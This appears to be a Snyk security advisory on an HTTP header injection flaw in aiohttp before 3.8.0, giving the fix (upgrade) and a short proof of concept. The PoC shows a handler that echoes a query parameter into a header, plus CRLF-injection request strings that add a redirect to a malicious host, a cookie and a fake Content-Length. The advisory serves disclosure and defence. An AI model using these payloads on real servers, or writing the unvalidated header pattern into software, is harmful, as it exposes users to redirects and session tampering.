HTTP Header Injection Affecting aiohttp package, versions [,3.8.0)
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Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-PYTHON-AIOHTTP-1584144
- published 26 Nov 2021
- disclosed 10 Sep 2021
- credit Unknown
How to fix?
Upgrade aiohttp to version 3.8.0 or higher.
Overview
Affected versions of this package are vulnerable to HTTP Header Injection since aiohttp simply concatenated headers without any validation. This allowed an attacker to inject arbitrary content into the headers, including CRLF characters.
PoC
// For this code
import aiohttp.web
async def handler(req: aiohttp.web.Request):
return aiohttp.web.Response(headers={
'X-Debug-Param': req.query.get('param', ''),
})
app = aiohttp.web.Application()
app.add_get('/', handler)
// Send the following requests to the webapp
/?param=%0d%0aLocation:%20https://malware.host/ # open redirect
/?param=%0d%0aSet-Cookie:%20... # set some cookie
/?param=%0d%0aContent-Length:%2040%0d%0a # skip next headers
References
CVSS Scores
version 3.1